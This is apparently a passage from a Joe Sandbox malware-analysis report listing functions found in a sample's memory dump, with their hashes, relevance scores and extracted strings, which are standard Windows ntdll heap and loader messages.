                                                          • Instruction ID: 82e96aa63dab722d5cc1a1c9469bbfacd20d42b74edfc311a507e73b74587131
                                                          • Opcode Fuzzy Hash: 73f66584dae53412daa80f9292abee730bc607f825fd9624c18c4dcda7a62b59
                                                          • Instruction Fuzzy Hash: 37F1F577E006219FDB08CF69C99067EBBF6EF88204719456DD857DB384E638E902CB50
                                                          Function 34F411A4 Relevance: 6.4, Strings: 5, Instructions: 113COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: This is located in the %s field of the heap header.$ -4`$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
                                                          • API String ID: 0-1168109116
                                                          • Opcode ID: 8e2b393245330844be8b094e83d2668de1a1c9e49c0d35bfdf5b066de5150f3f
                                                          • Instruction ID: c0b6cdd670bf00cd3e905c36360b3120557105e6a17d0cddffce6f983038e1ac
                                                          • Opcode Fuzzy Hash: 8e2b393245330844be8b094e83d2668de1a1c9e49c0d35bfdf5b066de5150f3f
                                                          • Instruction Fuzzy Hash: 0C312436210210EFE705DB99C988F5B7BE8EF04A64F180889F455DB7A1EA34DE42CA58
                                                          Function 34E876B2 Relevance: 6.3, Strings: 5, Instructions: 51COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
                                                          • API String ID: 0-3061284088
                                                          • Opcode ID: a5a45701ea429baebbdfc8ee0dddf3d5af33b04176a21e4af08dc2ad16794348
                                                          • Instruction ID: 4dedf096fc66383fe49b685cdde46997abf000df74f94ca7a8b202e6fafdd669
                                                          • Opcode Fuzzy Hash: a5a45701ea429baebbdfc8ee0dddf3d5af33b04176a21e4af08dc2ad16794348
                                                          • Instruction Fuzzy Hash: 3A01F736125690DFE319DB18E409F6677E4DF42E74F284099F0294B662CAA8ACC0DA64
                                                          Function 34EA70C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                          • API String ID: 0-3178619729
                                                          • Opcode ID: 503fd938b008f6a2ea96bc2a642bcc2c2f52d6855a6848785f4caf6b45065a7c
                                                          • Instruction ID: edada3becc6876d66f3fb2912a49a3273bc9627b6fa8459f3b9f42173c66f570
                                                          • Opcode Fuzzy Hash: 503fd938b008f6a2ea96bc2a642bcc2c2f52d6855a6848785f4caf6b45065a7c
                                                          • Instruction Fuzzy Hash: 851379B4A00755DFEB15CF68C8907A9BBF1BF49308F1485ADD849AF381D734A946CB90
                                                          Function 34E9B6C0 Relevance: 5.3, Strings: 4, Instructions: 303COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI$\U4
                                                          • API String ID: 0-1235668821
                                                          • Opcode ID: 27a990d6fcfe017b40888d265103612a61089a630730ea48f315246e7c5a9873
                                                          • Instruction ID: 19f57fe068607e4878af32ee2b3a9e0ee2d7b4b9157727df09fb716641966857
                                                          • Opcode Fuzzy Hash: 27a990d6fcfe017b40888d265103612a61089a630730ea48f315246e7c5a9873
                                                          • Instruction Fuzzy Hash: 0AB1AA75A14784AFEB25CF69C980B9DB3B6BF44748F554A2DE851EB2C0D739E840CB00
                                                          Function 34E9B440 Relevance: 5.2, Strings: 4, Instructions: 221COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit$\U4${
                                                          • API String ID: 0-2183333318
                                                          • Opcode ID: f546d1345cfb2a10e41b5d04777c3501b59d7a4c528c4b775c1dd92ecc543bd5
                                                          • Instruction ID: df01e4bd9a0ab7b4284e888d8ded0207d1f79c13191f2fa935a2affa805d7e17
                                                          • Opcode Fuzzy Hash: f546d1345cfb2a10e41b5d04777c3501b59d7a4c528c4b775c1dd92ecc543bd5
                                                          • Instruction Fuzzy Hash: 0A9198B5E04749CFEB21CF54C840BEEB7B5BF00368F558599E810AB2D1D778AA80CB90
                                                          Function 34E8F626 Relevance: 5.2, Strings: 4, Instructions: 188COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
                                                          • API String ID: 0-2586055223
                                                          • Opcode ID: 49894b34412aea764f37320d5bbe2b80d3263fa8f0d6df4388f4e4fde547a2b1
                                                          • Instruction ID: bb26e972cdce545df6ea21e680a9b478c95f6defbc00166a1fdc374c1d551ed0
                                                          • Opcode Fuzzy Hash: 49894b34412aea764f37320d5bbe2b80d3263fa8f0d6df4388f4e4fde547a2b1
                                                          • Instruction Fuzzy Hash: 7461D076204780EFF711CB68D844F67B7E8EF84B58F140968F9588B2A1DB34D985CBA1
                                                          Function 34E89148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
                                                          • API String ID: 0-1391187441
                                                          • Opcode ID: 22bba746e6b22b1b88ab90201ff04f100598adc2bb3ac27f2e1a96450f982d12
                                                          • Instruction ID: 85a6b2df35a00d3e1f606b53d7ffe3ed12cbf29937d77638896b4449d659140e
                                                          • Opcode Fuzzy Hash: 22bba746e6b22b1b88ab90201ff04f100598adc2bb3ac27f2e1a96450f982d12
                                                          • Instruction Fuzzy Hash: 55318136A11214EFEB01CB55C884FAAB7B9EF45B74F154195E868A7291DB30D980CE60
                                                          Function 34ED1270 Relevance: 5.1, Strings: 4, Instructions: 97COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$BuildLabEx$E4$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                          • API String ID: 0-122316727
                                                          • Opcode ID: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                          • Instruction ID: 6c0c46540533682f3cb7e38895b7df4c09ce0d48ced4b977a2a213091d2d056f
                                                          • Opcode Fuzzy Hash: 4dd0507e6de23adeaafdd13239ae3a95ee5485203228978708ef77071a5cdf2e
                                                          • Instruction Fuzzy Hash: 46318F76910619EFEB119F95CC40EAEBBBDEF85750F014425E914A7160E7309A069BA0
                                                          Function 34F3FCDF Relevance: 5.1, Strings: 4, Instructions: 54COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP[%wZ]: $May not destroy the process heap at %p$RtlDestroyHeap
                                                          • API String ID: 0-4256168463
                                                          • Opcode ID: bd89d1e31a25964359d4ec1056b5be6fab1dbe0e29b95e30a27aa6e7aa249de8
                                                          • Instruction ID: b582df7a55cc89c0fb1a5a5cd77df6cd5025369a37220521241df97238d412cb
                                                          • Opcode Fuzzy Hash: bd89d1e31a25964359d4ec1056b5be6fab1dbe0e29b95e30a27aa6e7aa249de8
                                                          • Instruction Fuzzy Hash: 65012836112710DFDF55DF74D404F86B3E9EF42A50F08489AE44A9B251DA34FD86CA64
                                                          Function 34E97152 Relevance: 4.7, APIs: 3, Instructions: 158timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: 0eb404abc6895fa97d5171a5fa8f47ae3487cd6359defdf7d65de071d73c44be
                                                          • Instruction ID: 21783faa76aae1e7b8e748b639cdbef666453749b96d438a54bf742c0b412bc8
                                                          • Opcode Fuzzy Hash: 0eb404abc6895fa97d5171a5fa8f47ae3487cd6359defdf7d65de071d73c44be
                                                          • Instruction Fuzzy Hash: 1751DC78A04B0AEFFB05CF64C944BAEB7F4BF45359F104169E406A72D0EB789905DB80
                                                          Function 34E91460 Relevance: 4.1, Strings: 3, Instructions: 385COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • HEAP: , xrefs: 34E91596
                                                          • HEAP[%wZ]: , xrefs: 34E91712
                                                          • HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 34E91728
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
                                                          • API String ID: 0-3178619729
                                                          • Opcode ID: f3ad0d24180e3d89650c66c967cbea2a2f025dbd7f8fdee573f185b34d9ea75a
                                                          • Instruction ID: a3b4e3464c64df26bb9a7b9d5215e905ecc48550642ccc0f885c79eb972aca91
                                                          • Opcode Fuzzy Hash: f3ad0d24180e3d89650c66c967cbea2a2f025dbd7f8fdee573f185b34d9ea75a
                                                          • Instruction Fuzzy Hash: 55E1E078A04345AFFB15CF28C451BBAFBF5AF49344F14885DE4968B286EB38E941CB50
                                                          Function 34F1368C Relevance: 4.0, Strings: 3, Instructions: 292COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$DelegatedNtdll$\SystemRoot\system32\
                                                          • API String ID: 0-2391371766
                                                          • Opcode ID: 65e064f5cdf3e426a4cf2ab703fe3c2ac1880e5b71e6b167e684c933508b1b8c
                                                          • Instruction ID: 2528eb95bdf3b10c7eb1276d3a92d995ade522ba840dde79965b0f83b3b1647f
                                                          • Opcode Fuzzy Hash: 65e064f5cdf3e426a4cf2ab703fe3c2ac1880e5b71e6b167e684c933508b1b8c
                                                          • Instruction Fuzzy Hash: 5BB1AEB6604345EFF311CF54C880B6BB7E8EB45760F484D2AFA50AB290D775E806CB92
                                                          Function 34F236EE Relevance: 4.0, Strings: 3, Instructions: 236COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
                                                          • API String ID: 0-318774311
                                                          • Opcode ID: ace7115bcdb216a71442559def12e7270a6763524ccdef6e67cc3c7a5f99b0d9
                                                          • Instruction ID: b0573b9260ac1a0b4553902cbd13803c68c77626f38f9f4bd0b7d00282b0a12c
                                                          • Opcode Fuzzy Hash: ace7115bcdb216a71442559def12e7270a6763524ccdef6e67cc3c7a5f99b0d9
                                                          • Instruction Fuzzy Hash: 19817CBA618341AFE711CB24C840B6AB7E9EF85B50F480D2DFD909B390DB74D905CB62
                                                          Function 34F17410 Relevance: 4.0, Strings: 3, Instructions: 233COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Objects=%4u$Objects>%4u$VirtualAlloc
                                                          • API String ID: 0-3870751728
                                                          • Opcode ID: 28a833b494064fe900182c3bd188c26e416294a2e77bef0b9a0a5bd3b0ea9282
                                                          • Instruction ID: 2c6e6b5cba0d2da52f2c8b227df716cdcaa550f8763fb2a2c36e32f276c880dd
                                                          • Opcode Fuzzy Hash: 28a833b494064fe900182c3bd188c26e416294a2e77bef0b9a0a5bd3b0ea9282
                                                          • Instruction Fuzzy Hash: 44912DB5E00215DFEB14CF69C480B9DBBF1BF48314F18C56AD909AB291E7759842CF54
                                                          Function 34EC909C Relevance: 3.9, Strings: 3, Instructions: 199COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: %$&$@
                                                          • API String ID: 0-1537733988
                                                          • Opcode ID: 9c238af0331f54f5fddf4072d17128ae588a6d800ce64778d3d6be9a298aebbb
                                                          • Instruction ID: 5d161152e0583ef8913cec32b1b12c1cfb983649760a5d465bbde904cd104429
                                                          • Opcode Fuzzy Hash: 9c238af0331f54f5fddf4072d17128ae588a6d800ce64778d3d6be9a298aebbb
                                                          • Instruction Fuzzy Hash: 71718BB4608301DFE704CF24DA80A1BBBE9BF85658F148A1DE4E997291DB31D906CF92
                                                          Function 34F6B73C Relevance: 3.9, Strings: 3, Instructions: 180COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • \Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 34F6B82A
                                                          • GlobalizationUserSettings, xrefs: 34F6B834
                                                          • TargetNtPath, xrefs: 34F6B82F
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
                                                          • API String ID: 0-505981995
                                                          • Opcode ID: 2f3704225c08331a7c7c7ef9785cffe55019c017e5a2afedf18973ce950c577e
                                                          • Instruction ID: f54d36efa46da5b9d6499336b742bc117e4abbce47cc8b9f0b38785a21ef7f2f
                                                          • Opcode Fuzzy Hash: 2f3704225c08331a7c7c7ef9785cffe55019c017e5a2afedf18973ce950c577e
                                                          • Instruction Fuzzy Hash: 93619E72940238EFEB21DF54DC88BDAB7B8EB04754F4505E9A509AB250CB389E85CF90
                                                          Function 34E8F7BA Relevance: 3.9, Strings: 3, Instructions: 167COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • HEAP: , xrefs: 34EEE6B3
                                                          • HEAP[%wZ]: , xrefs: 34EEE6A6
                                                          • RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 34EEE6C6
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
                                                          • API String ID: 0-1340214556
                                                          • Opcode ID: d54e6cecf977cff6e636127baa20d65f9bc2e6d9298311d71955bfd38a6025dc
                                                          • Instruction ID: 2fd6b8fe9d4fdfbe6241dfc00b8e4e0aca62032dc41f60c224e36aae6ab0de8c
                                                          • Opcode Fuzzy Hash: d54e6cecf977cff6e636127baa20d65f9bc2e6d9298311d71955bfd38a6025dc
                                                          • Instruction Fuzzy Hash: 4D51E375710745EFF712CBA8C984BA6BBF8EF05744F0404A5E598CB692E734E940CB60
                                                          Function 34EB15F4 Relevance: 3.9, Strings: 3, Instructions: 166COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • LdrpCompleteMapModule, xrefs: 34EFA590
                                                          • Could not validate the crypto signature for DLL %wZ, xrefs: 34EFA589
                                                          • minkernel\ntdll\ldrmap.c, xrefs: 34EFA59A
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
                                                          • API String ID: 0-1676968949
                                                          • Opcode ID: a62992fdb2c97dc35adc3f0103d2a762c2623b84fb133a5804812da1aefde2a2
                                                          • Instruction ID: 2a7a7740483865be13ef767419d76559eed986805afb074c6afeac4779a99602
                                                          • Opcode Fuzzy Hash: a62992fdb2c97dc35adc3f0103d2a762c2623b84fb133a5804812da1aefde2a2
                                                          • Instruction Fuzzy Hash: 0B51D478604745DFEB11CB58CD40B1AB7E8EF00BA8F190999E9929F6E5DB34ED41C740
                                                          Function 34E8758F Relevance: 3.9, Strings: 3, Instructions: 132COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
                                                          • API String ID: 0-1151232445
                                                          • Opcode ID: 23e51bae447a7e2c63cd5b5085013b77ac8dddd8504d0cf80553c6cd402bad29
                                                          • Instruction ID: dbdb2bf98be101a4be6ca902a463d822b7952dbbafa2bd1cb19a4e06679ab8a0
                                                          • Opcode Fuzzy Hash: 23e51bae447a7e2c63cd5b5085013b77ac8dddd8504d0cf80553c6cd402bad29
                                                          • Instruction Fuzzy Hash: 5D41F1B83003908FEF15DF58C880BB977E4DF01B88F5448ADE48A8B256DA74D8C6EB51
                                                          Function 34EC16CF Relevance: 3.9, Strings: 3, Instructions: 127COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • minkernel\ntdll\ldrtls.c, xrefs: 34F01B4A
                                                          • LdrpAllocateTls, xrefs: 34F01B40
                                                          • TlsVector %p Index %d : %d bytes copied from %p to %p, xrefs: 34F01B39
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: LdrpAllocateTls$TlsVector %p Index %d : %d bytes copied from %p to %p$minkernel\ntdll\ldrtls.c
                                                          • API String ID: 0-4274184382
                                                          • Opcode ID: cefcf48d2084b085f70c5ef22c17a932e64e007776ddc5ed1369337289cb13b2
                                                          • Instruction ID: ba8b1233a7c1cd4ddb9be72a96429f53dbb05005ff99998431ebce62a5e5eda3
                                                          • Opcode Fuzzy Hash: cefcf48d2084b085f70c5ef22c17a932e64e007776ddc5ed1369337289cb13b2
                                                          • Instruction Fuzzy Hash: CB415AB9A10608EFEB15CFA8C940AAEFBF5FF49314F548519E405AB251DB35A802DF90
                                                          Function 34F45180 Relevance: 3.9, Strings: 3, Instructions: 114COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
